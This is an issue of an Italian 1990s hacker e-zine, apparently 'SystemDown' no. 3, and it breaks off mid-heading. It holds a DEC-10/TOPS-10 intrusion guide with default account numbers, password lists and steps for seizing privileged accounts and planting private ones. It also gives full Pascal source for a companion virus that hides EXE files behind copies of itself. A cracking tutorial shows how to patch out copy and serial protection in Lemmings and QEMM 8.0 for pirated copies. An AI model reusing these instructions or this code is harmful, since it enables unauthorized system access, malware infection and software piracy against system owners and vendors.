********************************************************************** * * * Chiunque venisse in possesso di questa rivista e' pregato di NON * * postarla su NESSUN TIPO di newsgroup. Gli autori di questo testo * * non si prendono nessuna responsabilita' per l'uso che ne verra' * * fatto poiche' e' stata espressamente concepita per puri scopi * * informativi. * * * ********************************************************************** Introduzione: Per chi ancora non ne fosse a conoscenza e' online la nostra homepage curata dal guru del java, dal pistolero del photoshop, dal figlio del html: MainMan. Potete raggiungerla a questo indirizzo: http://www.andrew.org/systemdown Qui potrete trovare sia la rivista in formato html sia in formato txt quindi, per le prossime uscite, vi conviene tenere d'occhio questa nostra pagina. Mi sono giunte all'orecchio alcune voci di amici che, andando a visitare la homepage, non riuscivano a far funzionare gli effetti java dell'index. Questo probabilmente dipende dal fatto che stiate o no usando il 4.x del netscape. Sulle versioni precedenti come la 3.x, creava qualche problema anche a noi ma non ne da nessuno sulla successiva come abbiamo sperimentato di persona. Cosa volete che vi dica? Ormai le cose sono sempre le stesse: Su irc si vedono sempre piu' facce nuove, McDonald sta comprando tutti i fastfood seri che ci sono in giro, la telecom abbassa le tariffe solo per l'estero ( com'era la pubblicita'? Giappone -41%, America -25%...apro un piccolo sondaggio: chi di voi trae beneficio da questi tagli sulle telefonate internazionali se non le grandi aziende...? ). Ci sono poche novita' in giro questi giorni. Sara' l'estate? Giunti al terzo numero di SystemDown, nonche' il quinto mese di vita circa, trovo queste introduzioni quasi inutili. Penso che chi legga questo testo sia molto piu' interessato agli articoli riportati sotto che alle mie farneticazioni. Comunque sia ho, per ora, del tempo da perdere quindi scrivo queste poche righe di "intro" giusto per non farvi partire subito con la lettura approfondita degli articoli. Siamo anche giunti, tanto per allungare queste poche parole, alla seconda parte della guida al cracking di Xoanon. Nel prossimo numero si concludera' e per allora speriamo di trovare qualcosa che possa attirare la vostra attenzione come questa piccolo testo che abbiamo pubblicato. Vi lascio quindi alla lettura degli articoli sperando che questo numero possa essere interessante cosi' come lo sono stati i primi due. By InfectedMachine ( fn-infected@community.co.uk ) Indice Introduzione 1) DEC-10 ( by InfectedMachine ) 2) RaggedRobin's Pascal Virus ( by RaggedRobin ) 3) The Xoanon's Guide to Cracking ( by Xoanon ) IIø Parte 4) Satan ( By IceNice ) 5) Sistemi di codifica e password ( by Jack Mckrak ) 6) Backdoors e root ( by Jester ) 7) Firewall: un approfondimento ( Parte II ) ( by Ramlin ) 8) I siti del Dr.Creker ( by Dr.Creker ) Ringraziamenti Conclusioni 1) DEC-10 ( by InfectedMachine ) Vedro', su questo terzo numero di SystemDown, di spiegarvi il funzionamento del DEC-10. Per chi non lo sapesse il DEC-10 e' stato creato dalla Digital Equipment Corporation ( tanto per spiegare il significato della parola DEC ) e usa un sistema operativo chiamato TOPS-10 ( o TOPS10 ). Per riconoscere un DEC-10 basta vedere se il prompt dei comandi e' costituito da un "." Subito dopo esserci connessi a questo sistema ci arrivera' un messaggio ( direi quasi un classico di ogni sistema ) tipo: data - ora - tty sistema - tipo di sistema e l'immancabile frase: LOGIN: Il formato dei login e' un po' particolare perche' dipende da un parametro chiamato PPN, ovvero Project/Program Number; come in altri sistemi piu' basso e' questo numero piu' si hanno privilegi. Il formato nel quale e' scritto e': .Log 12,34 cioe' .Log [X,X] Poi arrivera' la terribile scritta "Password:" Questa puo' essere lunga da 1 a 8 caratteri di qualsiasi tipo come in ogni altro sistema. Se non avete mai maneggiato in vita vostra un DEC-10 e siete curiosi di sapere quali comandi esso abbia al suo interno vi consiglio di provare un .Help per sapere qualcosina in piu'. Puo' accadere, richiedendo gli help che il computer vi rimandi a leggere il manuale operativo del DEC-10 per maggiori dettagli quindi non sempre gli aiuti sono utili. Per avere una lista dei comandi da eseguire ( come ad esempio il login ) provate ad inserire questo comando: .Help * Mentre con ".Help Phone" si puo' presentare l'occasione di fare un po' di conoscenza con i vari numeri di operatori o persone simili nell'amministrazione di sistema. I due numeri piu' importanti sono quelli del DEC-10 operator e del DEC-10 staff; teneteli a mente perche' non si sa mai... Parlando invece di cose serie si puo' dire che il comando piu' importante di un DEC-10 e' "Systat" che da una lista di PPN, tempo trascorso, programmi in uso, ecc. Un abbreviazione del comando Systat e' SY. Piccolo esempio del comando Systat ( preso da una rivista ): Status of Brown University 603A at 11:52:33 on 29-Jan-96 Uptime 187:12:22, 80%Null time = 80%idle + 0%Lost 7 Jobs in use out of 128. 19 logged in 4 detached out of 89 ( LOGMAX ) Job Who What Run Time 1 [OPR] OPSER 3:22 2 [OPR] DIALOG 1:29 3 [OPR] BATCON 4:01 4 [OPR] SYSINF 51:13 01 5 24,2 SYSTAT 4:52 6 2332,21 DIRECT 2:22 7 32,22 SYSTAT 8:19 Il Job non serve quasi a nulla poiche' indica solo la posizione all'interno del sistema per eventuali chat o messaggi ad un dato utente. [OPR] significa OPERATOR mentre i numeri tipo 24,2 sono i PPN regolari di normali utenti ( praticamente il loro login ). La colonna chiamata "what" indica invece che programma stanno eseguendo oppure cosa stanno facendo nel sistema. Run Time, infine, ti dice da quanto tempo sono connessi i vari utenti. Ora, dopo aver rimediato un PPN, bisogna tentare con la password. Prima di tutto inserite il PPN che abbiamo visto in questo modo poi tentate con le password di default o con quelle piu' comunemente usate. Lista di password maggiormente usate: Account Acsnet Computer Connect Dcl Dec Decnet Default Games Help Link List Modem Operator Password Ppn Secret Sex System Terminal Test Provate anche questa serie di PPN e queste password: Login: Password: 1,2: SYSLIB, OPERATOR oppure MANAGER 2,7: MAINTAIN 5,30: GAMES Dopo aver tentato queste provare anche quelle piu' comuni degli altri sistemi. Solitamente si hanno due tentativi per inserire PPN e Password corretti ( ma questo puo' anche non essere vero poiche' diversi DEC-10 permettono un numero illimitato di tentativi e poche volte comunicano i tentativi falliti di connessione ). Dopo che siamo riusciti ad entrare all'interno di questo sistema ci apparira' un messaggio di "introduzione" al sistema che ci avvertira' di alcune cose tra le quali il nostro Job ( cioe' la posizione all'interno del DEC ). E, di seguito, puo' apparire qualcosa del genere: Other jobs detached with the same PPN: Job 34 running SYSTAT in ^C state Do you want to ATTACH to this job? yes Quello che stiamo facendo e' allegarci ad un idle PPN. Quando un altro utente e' sul sistema da circa 10 minuti prima di noi puo' mandare un comando che gli permette di effettuare un logoff e di riagganciarsi allo stesso posto quando si riconnette al sistema. A questo punto dopo aver usato "systat" per vedere l'effettivo allontanamento dal sistema possiamo usare "detach" per fare in modo di "attaccarci" al suo PPN. Oppure: Se un utente non inserisce comandi per diverso tempo puo' essere allontanato automaticamente dal sistema e quindi darci la possibilita' di attaccarci comunque al suo PPN. Ora che siamo dentro diamo un'altra occhiata a "systat" per vedere se qualcosa e' cambiato e per verificare la nostra presenza all'interno del sistema. Se volessimo cambiare la nostra password, il comando da usare e': /Password Comandi utili: Per guardare all'interno di directory si utilizza, o il comando Dir [*,*] per guardare in tutte le directory che gli utenti hanno reso pubbliche agli altri oppure con Dir [12,11] si guarda in una particolare. Ci sono in sostanza 5 tipi di file da tenere in cosiderazione: exe txt dat bas cmd I file chiamati exe sono gli eseguibili e possono essere lanciati senza problemi dal prompt dei comandi. I txt sono file di testo che si possono "sfogliare" con il comando Type nomefile.txt NON fate type con gli exe! Dat sono i dati che gli utenti hanno salvato mentre bas sono i file scritti in basic. Gli ultimi file, cmd, sono file di comando. Se ne incontriamo uno proviamo questo comando: Take nomefile.cmd. Un altro modo per leggere file e' usare il comando File:[*,*] Per creare una propria directory possiamo utilizzare il comando "Credir"; a questo punto bisogna specificare che esistono due livelli per una directory: il primo e' "Class" il secondo "Tvedit". Se ci vogliamo creare una directory personale e un ottimo account privato possiamo digitare: Create Directory:[,,class,tvedit] Il DEC-10 puo' replicare in questo modo: Created Dska0:[x,x,class]Sfd/protect:775 Created Dska0:[x,x,class,tvedit]sfd/protect:775 x,x e' il PPN che stiamo usando e Dska0 e' il device. Se vogliamo nominare la nostra directory appena creata possiamo farlo con il comando "/Name:" e possiamo proteggerla con il comando "/Protect". Ci sono altri comandi che iniziano per "/" e per vederli vi consiglio di provare un "/help". Account privati e privilegiati Ora, se state provando ad entrare in un DEC-10 credo che lo facciate per uno di questi tre motivi: 1) Siete il proprietario stesso del DEC-10 e volete testarne la sicurezza; 2) Siete alle prime armi e siete curiosi di provare questo tipo di sistema; 3) Siete tizi con le palle e volete prendere i dati di questo sistema. Per qualsiasi di questi tre motivi la cosa che volete fare e' darvi la possibilita' di dominare il sistema, di prenderlo per le corna e farne cio' che volete...giusto? Comunque sia volete pieni privilegi. Su un DEC-10 il PPN della maggior parte degli account con pieni privilegi sul sistema incomincia per 1 ( ad esempio 1,10 ). Proviamo nuovamente ad usare il comando "systat" diamo un'occhiata attenta per trovare qualcuno che sia sotto un account che inizi per 1,x. Se lo troviamo, proviamo ad effettuare un login con quel PPN e iniziamo a cercare la password a tentativi ( anche se la cosa si rivelerebbe molto lunga ). Se riusciamo ad infiltrarci con successo possiamo attivare il nostro ( o i nostri ) account privati digitando il comando "enable" che ci dara' un prompt $ oppure #. A questo punto possiamo crearci un account alternativo dal nulla oppure fare un make up di uno esistente in questa maniera: $Build[x,x] o Create[x,x]. Una volta creato l'account editiamo il nostro PPN o modifichiamolo se esisteva gia e tutto e' finito. Se comunque riuscite a trovare un account da usare che abbia un PPN di 1,x non provatelo durante il giorno o le ore lavorative. Spesso solo gli admin hanno account del genere quindi vi consiglio di provarlo a notte inoltrata per evitare spiacevoli situazioni. Per continuare il discorso vorrei dire che ci sono tre livelli di sicurezza all'interno di un DEC-10: Operator Wheel Cia I privilegi chiamati Wheel e Cia ( che sta per Confidential Information Access ) sono i due livelli piu' importanti e potenti perche' permettono di fare qualsiasi cosa e in ogni posto. Operator sfrutta i normali privilegi che gli sono stati concessi per l'uso di QUEL terminale. Un manuale utile da leggere sarebbe il "Decsystem Timesharing Guide" ma non credo sia molto facile da rimediare. Questo comunque e' il manuale di utilizzo dei sistemi DEC e ti spiega in dettaglio tutti i comandi da usare e che si possono usare, nuovi programmi, nuove funzioni, ecc, ecc. Per richiederlo si deve telefonare all'operator al numero indicato sotto gli "Help Phone" ( vedi sopra ) ma non lo danno a tutti poiche' il sysop richiede la password il login e il motivo dell'utilizzo del manuale. Mail Apro una piccola parentesi sull'uso della mail nel DEC-10 che non e' fondamentale ma sapere come funziona non credo guasti. Per usare la posta elettronica su di un DEC-10 bisogna lanciare il comando "Run Mail" dal prompt. Fatto questo, in risposta dal sistema possiamo ottenere un prompt con la scritta "MailC". Se vogliamo controllare la nostra casella di posta digitiamo: MailC:read Se vogliamo spedire invece un messaggio usiamo il comando Send al posto di Read. Questo e' quello che potrebbe succedere: .Run Mail MailC:Send to:RaggedRobin Subject:Solite Storie Text: Ciao. Bla Bla Bla Bla Bla Bla Bla Bla Bla Quando arriviamo alla conclusione del nostro messaggio possiamo concludere con .done o .d su di una linea vuota e questo indica al sistema che abbiamo finito di scrivere. Il DEC-10 a questo punto rispondera' con: RaggedRobin--Sent. Informazioni supplementari Provate ad inserire il comando "info" o "help info" nel prompt dei comandi e vi vedrete apparire una lista di comandi da usare insieme a questa forma: Info XXXX Switch Funzionamento . Fornisce informazioni sul proprio job [??,??] " " su un dato PPN ALL " " su tutti i PPN ALL:LOPR " " sui job di tutti gli operatori locali(1,2) ALL:OPR " " sui job di tutti gli operatori (1,2) ALL:ROPR " " sui job di tutti gli operatori remoti ALL:Users " " su tutti gli utenti del sistema Batch " " su tutti i batch job Ho citato i piu' importanti ma ce ne sono altri quindi, per maggiori informazioni, effettuate il comando che ho menzionato sopra. I numeri 1,2 al fianco della voce Operatori Locali e Operatori significa che i loro account hanno pieni privilegi su quel sistema. Il comando Watch. Con questo comando si possono ottenere maggiori informazioni sulle proprie statistiche: Run Indica il CPU time Wait Indica il tempo trascorso dalla partenza nel sistema Read Numero dei blocchi di dischi che hai letto Write Numero dei blocchi di dischi che hai scritto Se tu hai privilegi di sistema prova ad usare questo comando: Watch[x,x] Questo ti puo' dare maggiori informazioni su di un utente in particolare. Altri comandi: Riporto in seguito alcuni comandi che potreste trovare utili o interessanti. Who Nome job #TTY Che potrebbe essere qualcosa del genere: Who RaggedRobin 4 #7 Ovvero RaggedRobin e' inserito nel sistema nel job 4 e sul TTY 7. La risposta potrebbe essere il suo PPN e altre informazioni legate al suo stato sul sistema. Se qualche conoscente e' sul sistema e gli vogliamo lanciare un messaggio, sapendo che e' sul TTY10 possiamo digitare: Send TTY10 Messaggio Se invece vogliamo mandare una chat: Talk TTY10 Se siamo riusciti ad ottenere pieni privilegi andiamo in enable e digitiamo: "Whostr" che puo' darci maggiori informazioni su gli utenti collegati al sistema e sulle directory presenti. Per concludere vorrei citare le combinazioni di ctrl+lettera e i vari tipi di reti alle quali sono connessi i computer della DEC. ctrl+h Backspace ctrl+c Interrompe una lunga lista o un programma ctrl+o Ferma un lungo output del terminale ctrl+t Tempo ctrl+u Killa la linea che stai digitando ctrl+x Ferma un programma ctrl+s Ferma una lista ( pausa ) ctrl+q Resume DECNET Questa rete e' supportata da tutti i computer della Digital Corporation. Per accedere a questa rete digitate "Decnet" e tentate di trovare la password. Decnet supporta nodi come VMS, TOPS10 ( sistema operativo per DEC-10 ), TOPS20 e altri. Solitamente l'account del system operator puo' esserti di aiuto se stai cercando la password per accedere a questa rete. Tenta la password dell'account del sysop e vedi se funziona. ACSNET Supporta DEC-10 e altri computer. Quando ci si connette si puo' trovare un messaggio del genere: ACSNET Fri Mar 13 19:30:23 1996 Port ID: dialup C502 at 28.800 baud dialup C502 with even parity O qualcosa di simile. Dal prompt digitare "?" per una lista dei groupnames. Per entrare nel DEC-10 da questo punto digitate "Acsdec10". I comandi per Acsnet sono: Connect Hangup Info Release Set Daytime Disconnect Help Resume WhoamI By InfectedMachine 2) RaggedRobin's Pascal Virus ( by RaggedRobin ) Propongo in questo mio secondo articolo due cose: a) Un virus in pascal di mia invenzione; b) Un piccolo "concorso" ovvero chi riesce a capire cosa fa questo virus e suoi eventuali errori lo scriva al dr.creker o ad InfectedMachine. Il primo "fortunato" che scrivera' ( se mai ce ne sara' uno ) ricevera' un jpg autografato da me ;))))) program rr2; {$M $4000,0,0 } { 16K stack, no heap } uses dos,crt; type fil= file of char; var filexe,filecom:array[1..100]of string; f,fvir:fil; s,s1,infetto,target,sano:string[12]; c,app:char; i,j,z,k,trovato:integer; DirInfo: SearchRec; begin for i:=1 to 100 do begin filexe[i]:=''; filecom[i]:=''; end; j:=1; k:=0; trovato:=0; z:=0; i:=1; s:='nomefile.com'; findfirst('*.EXE', Archive, DirInfo); filexe[1]:=dirinfo.name; while doserror=0 do begin i:=i+1; findnext(DirInfo); filexe[i]:=dirinfo.name; end; findfirst('*.com', Archive,dirinfo); filecom[1]:=dirinfo.name; while doserror=0 do begin j:=j+1; findnext(dirinfo); filecom[j]:=dirinfo.name; end; repeat z:=z+1; infetto:=filexe[z]; delete(infetto,(length(infetto)-2),3); infetto:=infetto+'COM'; repeat k:=k+1; if infetto=filecom[k] then trovato:=1; until k=j; if trovato<>1 then target:=INFETTO; until (z=i) or (trovato<>1); if filexe[1]='' then trovato:=1; if trovato<>1 then begin sano:=target; delete(sano,(length(sano)-2),3); sano:=sano+'EXE'; assign(f, sano); setfattr(f, hidden); reset(f); for i:=1 to 12-length(target) do target:=target+' '; assign(fvir,target); rewrite(fvir); assign(f,s); reset(f); repeat read(f,c); write(fvir,c); until eof(f); close(f); seek (fvir,321); for i:= 1 to length(target) do write(fvir,target[i]); app:=chr(32); for i:= length(sano) to 11 do write (fvir,app); close (fvir); end; delete(s,(length(s)-2),3); s:=s+'EXE'; SwapVectors; Exec(s,''); SwapVectors; end. 3) The Xoanon's Guide to Cracking ( by Xoanon ) IIø Parte ---------------------------------------------------------------------------- CAPITOLO 2: CRACKING IN DOS / ThE FuN StUfF BeGiNs! / ---------------------------------------------------------------------------- Eccoci arrivati, dopo la pallosissima (anche da scrivere) prima parte, al succo di questo tutorial.... il cracking vero e proprio. Cominciamo dal DOS, trattando i vari tipi di protezione che potete trovare, ognuno spiegato in maniera (spero) abbastanza dettagliata e corredato da un esempio..... naturalmente, questi dovranno essere presi solo come tali, anche perche' ogni protezione e' diversa dall'altra e non si puo' generalizzare il tutto con una precisa tecnica. Mano a mano che poi crakkerete da soli sicuramente saprete far fronte anche a situazioni diverse, piu' o meno discostanti da quelle qui illustrate. Una cosa che tengo a puntualizzare e' questa: avrete sicuramente visto che oggi tutti i crackers tendono a fare (per i programmi che richiedono un serial number collegato al vostro nome) dei KeyMakers, ossia dei programmi che, una volta scoperto l'algoritmo, prendono il vostro input e ne fanno un numero valido per il programma. Io da parte mia preferisco sempre SRADICARE di netto la protezione, anche perche' cosi' non devo perder tempo a star dietro all'algoritmo, magari complicatissimo..... Quindi, i miei esempi saranno tutti improntati sulla COMPLETA eliminazione della routine di protezione. Se poi volete farvi i keymaker per quel tipo di programmi, basta che seguiate l'algoritmo di protezione, facilmente trovabile mettendo dei breakpoint R/W (read/write) o meglio R (read) alla locazione dove trovate il vostro ECHO (ossia, l'input che avete dato es.il vostro nome). Per cercare l'echo, basta cercare in memoria quello che avete inserito, subito dopo essere tornati al debugger dopo l'inserimento. A questo proposito, per quanto riguarda il dos, ricordatevi che le locazioni buone per l'echo (ne troverete infatti diversi) sono quelle dalle parti del CS o DS, ma non sempre... comunque, mai quelle iniziali e finali (da C000 in poi). Con un po' di pratica, le riconoscerete a occhio, ve lo garantisco. Quindi, fatte queste precisazioni, LET'S START! 2.1.... Protezione con controllo dell'accesso al disco (INT13) Questo tipo di protezione e' in assoluto la piu' facile da eliminare. Difatti, si basa sul controllo di settori del floppy che non vengono copiati durante un normale processo di copia, quindi presenti solo sul floppy originale. Data la sua facilita' di sradicazione, oggi questa protezione non e' quasi piu' usata.... comunque, mi sembra un buon esempio per iniziare. L'esempio che vi proporro' e' il gioco "Lemmings" (spero lo abbiate, di solito lo davano con le vecchie SoundBlaster), anche perche' non sono riuscito a trovare qualcos'altro che usa questo tipo di protezione. Iniziamo..... Per prima cosa, caricate il G3X, buttatevi Lemmings sull'HD e togliete il dischetto originale dal drive (oppure mettetecene uno a caso) in maniera da simulare il caso di una copia pirata. Ah, ricordatevi di togliere il QEMM (o l'EMM386) se lo avete installato, perche' nel mio caso faceva impallare il tutto (forse il gioco e' troppo vecchio, non lo supporta....). Dunque, appena caricato il file LEMMINGS.BAT vi trovate davanti ad una schermata in modo testo che vi permette di scegliere il computer posseduto. A questo punto, premete PRTSCR (STAMPA, per i non inglesi) ed entrate nel G3X. Premete "V" per entrare nel debugger, dopodiche' iniziate a steppare con "P" finchŠ non vi trovate nel ciclo di ripetizione che aspetta l'input. Questo e' un punto fermo nel debugging crakkistico, cioe' bisogna sempre trovare questo ciclo in modo da rientrare nel debugger una volta effettuata la scelta. Quindi, vi troverete in questo punto (il CS lo ometto, tanto cambia sempre): 5448 CALL 9109 < Inizio ciclo attesa input 544B PUSH BX 544C XOR BX,BX 544E CALL 7583 5451 POP BX 5452 JB 5442 5454 MOV AH,01 5456 CALL 8413 5459 JNE 8461 545B MOV AH,84 545D INT 2A 545F JMP 5448 < Torna all'inizio finchŠ non premete il tasto giusto 5461 XOR AH,AH < Qui premete "H" per tornare al G3X dopo aver premuto Come vedrete, continuando con "P" non fa' altro che saltare a 5448 ogni volta che arriva a 545D, cio' indica che e' un ciclo. Allora, provate a mettere il breakpoint HERE a 5461 (andateci sopra e premete H).... hmmm, torna allo schermo di selezione! Quindi, premete return (tanto va' bene per tutti la prima opzione) e..... magia, riecco il G3X! Era proprio il ciclo di attesa dell'input! Vabbe', andiamo avanti! Premete comodamente "P" fino a che non arrivate a questa parte: 00E0 CALL 0649 < Controlla se il floppy originale e' inserito, senno' esce 00E3 CALL 1591 < Fa' partire il gioco 00E6 CLI 00E7 MOV CX, [1FC9] Noterete subito che steppando la prima call, il programma esce dicendo che il disco originale non e' inserito. Primo trucchetto del cracker provetto: quando ci sono due call una di seguito all'altra, la prima delle quali esce se non si e' azzeccato la password o simili (come in questo caso), provare SEMPRE, una volta arrivati a questa call, a cambiare l'IP ed eseguire la seconda..... fusse che fusse la vorta 'bbona! Quindi, tutto da capo, fino a riarrivare all'indirizzo 00E0 (questa volta pero', salvatevi l'indirizzo andandoci sopra e premendo "TAB", almeno se qualcosa va' male poi potete metterci un BPX e ricominciare da qui). A questo punto provate a farli saltare la call, cioe' a non eseguirla proprio, cambiando il valore del registro IP (premete R poi I, quindi scrivete 00E3, la locazione successiva). Ora, incrociate le dita..... ricominciate a steppare con "P", anzi per un brivido maggiore consiglio di uscire direttamente dal G3X con "ESC". Et voila', come dice il mago Afono del Vernacoliere, avete fatto il vostro primo crack!!!! Naturalmente, dovete poi andare a ricercare con un hex-editor i bytes corrispondenti alla call (quindi,segnatevi i precedenti, quelli e i successivi) e cambiare i valori nel file (mi sembra sia VGALEMMI.EXE) con una serie di NOP (No-Operation, in hex 90). Ma di questo parleremo poi, nel capitolo apposta sul patcher! Intanto, godetevi la vostra prima sprotezione!!!! Ah, faccio notare che se provavate a monitorare l'INT13, in questo caso i programmatori sono stati furbi implementando la cosiddetta "trappola per debugger", cioe' una serie di INT3 dopo le istruzioni "chiave" che fanno impiantare il povero G3X.... se non ci credete, provate (tanto come si fa' lo dovreste sapere, ve l'ho spiegato prima!) 2.2. Aiuto, il mio piratone di fiducia mi ha dato il programma senza SN! Capita sempre, specialmente col mio fornitore, di ricevere programmi bomba che una volta installati, chiedono il serial number. Alcuni funzionano per un po', poi cominciano a frantumarci le palle con nag-screens vari (del tipo : "Bei mi budiuli, ir programma E LO DOVETE PAGA'!!!). Alcuni, addirittura non si installano nemmeno in mancanza del magico numerino. E' questo il caso del crack che mo' vi propongo: il QEMM versione 8.0 (peraltro, non distribuito in versione shareware ma serial-dipendente anche lui). Dunque, come al solito, G3X in spalla e via! Si parte con l'inserimento di tutti i dati nell'installer (nome, citta', cazzi vari) e si inserisce anche un serial number a caso (puo' essere anche una parola, tanto la protezione la sodomizziamo! io di solito uso "culo", semplice ma efficace.....). Prima di premere return, PRTSCR e entriamo nel G3X. Dato che abbiamo inserito un input, tanto vale cercare il nostro ECHO, in modo da settare un BP R/W (read/write) che ci fara' capitombolare proprio nel bel mezzo della routine da fottere.... Quindi si entra nel debugger, si mette in modo testo con "U", si mette il display della memoria a 0000:0000 con "C" (change address, senno' non trova una mazza) e si preme "F". A questo punto, inserite il serial number che avete digitato e premete return, scegliendo la ricerca in ASCII e il modo Case Sensitive OFF (non tiene conto delle maiuscole e minuscole). Troverete un bel po' di echo, comunque vi ho gia' detto prima di non considerare quelli troppo vicini all'inizio e quelli troppo lontani..... in medio stat virtus ( diceva Socrate, mi sembra..... sapete, studio Biologia e questi sono solo ricordi del liceo!). Spulciando tra gli echo che trovate vi saltera' subito all'occhio quello situato a CS:000A, contenente il vostro serial inserito e, guardando sopra, gli altri dati che avete messo. Quindi, sicuramente, e' quello giusto! Come al solito, salvatevi l'indirizzo andandoci sopra e premendo TAB, dopodiche' settateci un BPRW (tornate nella schermata iniziale del G3X, scegliete il menu dei breakpoint, selezionatene uno, scegliete BreakPoint ReadWrite, premete TAB e da qui selezionate l'indirizzo....puff, puff, ma vi devo dire tutto io? Basta,da ora in poi saro' piu' sintetico!). A questo punto tornate al programma premendo ESC, e quando premerete invio magicamente riapparira' il G3X. Bene, siete usciti proprio ora dalla routine di attesa dell'input! Cominciate allora a steppare, usando tutti i trucchetti che vi ho insegnato prima (ad es. all'indirizzo CS:3DA6 c'e' un ciclo palloso a bestia, saltatelo con l'HERE a 3DA8). Ad un certo punto arriverete qui: 1B90 TEST AX,AX < Parte finale della routine di protezione 1B92 JNE 1BA6 < Se il numero e' giusto, va' a 1BA6 1B94 MOV AL,F9 1B96 CALL 11BF < Beep, segnaccio! 1B99 CALL 1916 < Spiacente,avete cacato fuori dal vaso (SN errato) 1B9C POP SI 1B9D CALL 18E3 < Con queste istruzioni e le successive torna 1BA0 CMP AL,1B all'input e vi richiede il SN .............. 1BA6 POP SI 1BA7 JMP 1B56 Se eseguite la CALL 11BF e successiva, vedete che il programma da' il messaggio di errore. Bene, e' dove volevamo arrivare! Ora facciamo marcia indietro. Qual'e' il jump prima della call che da l'errore? Quello a CS:1B92! (infatti vedete che salta avanti, cosa IMPORTANTISSIMA da notare: difatti, cercando di saltare la protezione, i jump che saltano avanti sono SEMPRE i PRIMI da controllare, altro trucchetto da cracker provetto.... ci va' anche di rima!) Subito, settateci un BPX (togliete quello RW, tanto nella routine giusta ci siete), uscite dal programma e ricaricatelo (tanto gli indirizzi in memoria dovrebbero rimanere gli stessi, senno' vi tocca tornarci a mano.) Vedrete che dopo aver reinserito il SN e premuto return, il G3X si ferma proprio a CS:1B92. Cambiate quindi l'IP e mandatelo a 1BA6. Ancora qualche "P" e arriverete qui: 1B68 JZ 1B6D < Qui dovete cambiare l'istruzione in JMP 1C25 1B6A CALL 1C26 1B6D CALL 1525 < Torna al programma e attende la pressione del return 1B70 MOV BX, [5307] 1B74 CMP BX, 3F3F < Ennesimo controllo finale della correttezza del SN 1B78 JNE 1B7D < Se e' sbagliato salta a 1B7D 1B7A JMP 1C25 < Se e' giusto salta a 1C25 e inizia l'installazione Osserverete ora che eseguendo le CALL riappare lo schermo del programma, e che premendo ritorna il G3X. Bene, avanti! Vedrete che facendo il JNE 187D si ritorna daccapo, con il beep di errore eccetera. Mettiamo dunque un BPX (disabilitando sempre il precedente,altra regolina) a 1B78, usciamo e ricarichiamo il programma. Una volta tornati a questo punto, cambiamo IP mettendolo a 1B7A e continuiamo a steppare. Tada'..... altra protezione fottuta, complimenti, avete appena fatto il vostro 2ø crack!!! Per fare le cose ammodino, sara' meglio cambiare il JZ 1B6D a CS:1B68 in un bel JMP 1C25, in modo da garantire che, quale che sia il SN, il programma lo prenda per giusto. Quindi, tornando sopra, dovreste inserire l'istruzione premendo A (assemble) e inserendo i valori esadecimali E9 BF 00 . Perche' questi? Be', sinceramente non lo so' nemmeno io. So' solo che dato che il G3X purtroppo non supporta l'inserimento dell'istruzione assembler in maniera normale (es. JMP direttamente), bisogna prendere il valore hex dell'istruzione che si vuole inserire (in questo caso, E9 A8 00 che corrisponde al JMP 1525 all'offset 1B7A). Quindi, copiarlo nell'offset desiderato e giocherellare un po' con gli ultimi due valori (il primo rimane fisso) finche' non si riottiene l'indirizzo voluto, in questo caso 1525. Fatto questo, provate il tutto rieseguendo da capo il programma e facendo la modifica, poi segnatevi i valori dei bytes da sostituire e continuate la lettura del manuale, perche' come fare i patches lo spiego all'ultimo!!! Ah, dimenticavo: inutile dire che questo procedimento e' analogo in caso di programmi che vogliono una password (es. giochi che vogliono la password a pagina x del manuale). 2.3 Variazioni sul tema: Xoanon's Standard Cracking Algorithm (TM) Questi due procedimenti standard sono applicabili anche ad altre situazioni, per cui non staro' a dilungarmi oltre. Un esempio e' il caso della scelta di una determinata icona per superare la protezione (come succede, ad esempio, in molti giochi della Lucas). In questo caso, come al solito, basta riuscire ad imbroccare il punto di entrata giusto, ossia, e non mi stanchero' mai di ripeterlo, L'ALGORITMO CHE ATTENDE IL VOSTRO INPUT. Fatto questo, in maniera analoga a come avete fatto per Lemmings, non resta altro da fare che steppare fino a che non succede qualcosa. Quando la routine vi butta fuori e riparte aspettando un'altro input, segnatevi il punto (una CALL) dove il fatidico "INCORRECT PASSWORD" appare e esaminate bene il disassemblato PRIMA di questa istruzione. Ci sara' infatti SICURAMENTE un CMP seguito da un jump condizionale che, in caso l'icona scelta sia quella giusta, saltera' questa CALL portandovi da un'altra parte (in genere il jump giusto da modificare vi portera' avanti, mai indietro, ma questo mi sembra di avervelo gia' detto). Quindi, una volta trovato basta modificarlo. Interessante variazione puo' essere quella di non modificare il jump, ma sostituire al CMP un MOV. E' quello che si chiama DIRTY-CRACK, e vi permette di evitare magari di ritornarci sopra se il check viene fatto anche piu' avanti nel programma. Basta andare a vedere, infatti, alla locazione di memoria dove effettua il compare (quella tra parentesi quadre, per intendersi, oppure in AX o nel registro dove effettua il CMP) e vedere che valore c'e'. Supponiamo che la situazione sia: ........ CS:0010 CMP AX,00 < se in AX c'e' 0 setta il flag a 1, senn• a 0 CS:0013 JNZ 7641 < se il flag e' 0, salta a 7641 CS:0015 CALL 4328 < vi butta fuori o simili ........ CS:7641 Dovete saltare qui per saltare la protezione Se quando andate a vedere nella locazione del compare, in caso sbagliaste la password, ci trovate uno 00, vuol dire che quello e' il valore che il programma esamina per vedere se e' registrato/sprotetto o no. Basta cambiare il CMP in MOV in maniera da mettere nella locazione/registro un valore diverso da quello, per far credere al prg di essere registrato effettivamente (oppure per farli credere che avete indovinato la password). Tutto quello che vi ho detto in questo paragrafo puo' benissimo essere considerato "IL METODO STANDARD PER IL CRACKING DOS/WINDOWS", quindi....... almeno questo dovete impiantarvelo bene nel ceppione !!!!! Anche per quanto riguarda le protezioni con chiave hardware, stesso discorso. L'unica cosa, come vi ho detto qualche pagina fa', e' se nella protezione sono implementati particolari accorgimenti "ANTI-DEBUGGING". In questo caso, purtroppo, la cosa si fa' complicata..... l'unica e' provare ad eseguire le istruzioni passo passo fino a quando il programma si impianta, tornare indietro, eliminare l'istruzione dove questo accade (andando a tracciare bene all'interno delle CALL per essere sicuri di non eliminare qualcosa di troppo) e riprovare. Di piu' su questo non so' dirvi, comunque sicuramente non troverete molti programmi di questo tipo..... lo stesso CuBase 3.0 (programma che costa una cifra, con protezione a chiave hardware) non contiene nessuna di queste tecniche, e la sprotezione e' una vera puttanata (5 minuti) !!! Un'ultimo cenno sulla modifica della label del floppy (o del cdrom) quando il programma richiede un particolare nome del disco per funzionare o per essere installato: solita zuppa! Ci sara' un punto dove troverete un CMP con un jump condizionale seguente che vi portera' alla visualizzazione di roba del tipo "Insert the correct disk/CD in drive". Basta individuare questo punto e saltarlo. Tutto qua. 2.4 Cracking in ambiente 